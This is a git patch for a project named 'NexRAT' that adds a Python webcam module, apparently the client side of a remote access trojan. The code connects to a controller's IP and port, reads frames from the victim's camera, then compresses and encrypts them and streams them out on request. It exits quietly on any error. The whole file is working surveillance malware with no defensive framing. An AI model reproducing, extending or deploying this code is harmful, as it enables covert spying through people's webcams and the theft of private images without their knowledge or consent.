From 18a3d3bc354e667bc58385e59745b82b53695139 Mon Sep 17 00:00:00 2001 From: AL-LCL Date: Fri, 19 May 2023 11:06:25 +0200 Subject: NexRAT --- Modules/Clients/cam.py | 50 ++++++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 50 insertions(+) create mode 100644 Modules/Clients/cam.py (limited to 'Modules/Clients/cam.py') diff --git a/Modules/Clients/cam.py b/Modules/Clients/cam.py new file mode 100644 index 0000000..04cdad4 --- /dev/null +++ b/Modules/Clients/cam.py @@ -0,0 +1,50 @@ +import socket +import pickle +import zlib +import cv2 + +from Specific.encrypt import Encryption +from sys import exit + + +def Cam(ip, port, encoding, position): + try: + headersize = 10 + new_msg = True + msg_len = 0 + full_msg = b'' + + e = Encryption() + s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + s.connect((ip, port)) + + cam = cv2.VideoCapture(position) + + while True: + try: + Cam_msg = s.recv(1024) + + if new_msg: + msg_len = int(Cam_msg[:headersize]) + new_msg = False + + full_msg += Cam_msg + + if len(full_msg)-headersize == msg_len: + check, frame = cam.read() + frame = pickle.dumps(frame) + frame = zlib.compress(frame, 1) + frame = e.do_encrypt(frame) + + final_msg = bytes(f'{len(frame):<{headersize}}', encoding) + frame + s.send(final_msg) + + new_msg = True + msg_len = 0 + full_msg = b'' + except: + cam.release() + cv2.destroyAllWindows() + exit(0) + except: + exit(0) \ No newline at end of file -- cgit v1.2.3